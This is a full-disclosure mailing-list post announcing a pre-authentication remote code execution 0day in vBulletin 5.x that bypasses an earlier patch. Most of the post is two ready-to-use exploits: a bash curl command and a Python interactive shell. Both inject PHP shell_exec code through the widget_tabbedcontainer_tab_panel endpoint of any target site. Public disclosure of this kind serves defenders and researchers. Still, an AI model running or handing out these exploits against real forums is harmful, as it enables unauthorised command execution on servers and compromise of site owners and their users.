Remote Code Execution 0day in vBulletin 5.x

[Zenofex via Fulldisclosure <fulldisclosure () seclists org>]

vBulletin 5.5.4 through 5.6.2 are vulnerable to a remote code execution
vulnerability caused by incomplete patching of the previous
"CVE-2019-16759" RCE. This logic bug allows for a single pre-auth request
to execute PHP code on a target vBulletin forum.

More info can be found at:
https://blog.exploitee.rs/2020/exploiting-vbulletin-a-tale-of-patch-fail/

Exploits below.

Thank you,
Zenofex

BASH Exploit:

#!/bin/bash
#
# vBulletin (widget_tabbedcontainer_tab_panel) 5.x 0day by @Zenofex
#
# Usage ./exploit <site> <shell-command>

# Urlencode cmd
CMD=`echo $2|perl -MURI::Escape -ne 'chomp;print uri_escape($_),"\n"'`

# Send request
curl -s $1/ajax/render/widget_tabbedcontainer_tab_panel -d
'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo%20shell_exec("'+$CMD+'");exit;'


Python Exploit:

#!/usr/bin/env python3
# vBulletin 5.x pre-auth widget_tabbedContainer_tab_panel RCE exploit by
@zenofex

import argparse
import requests
import sys

def run_exploit(vb_loc, shell_cmd):
    post_data = {'subWidgets[0][template]' : 'widget_php',
'subWidgets[0][config][code]' : "echo shell_exec('%s'); exit;" % shell_cmd}
    r = requests.post('%s/ajax/render/widget_tabbedcontainer_tab_panel' %
vb_loc, post_data)
    return r.text

ap = argparse.ArgumentParser(description='vBulletin 5.x Ajax Widget
Template RCE')
ap.add_argument('-l', '--location', required=True, help='Web address to
root of vB5 install.')
ARGS = ap.parse_args()

while True:
    try:
        cmd = input("vBulletin5$ ")
        print(run_exploit(ARGS.location, cmd))
    except KeyboardInterrupt:
        sys.exit("\nClosing shell...")
    except Exception as e:
        sys.exit(str(e))

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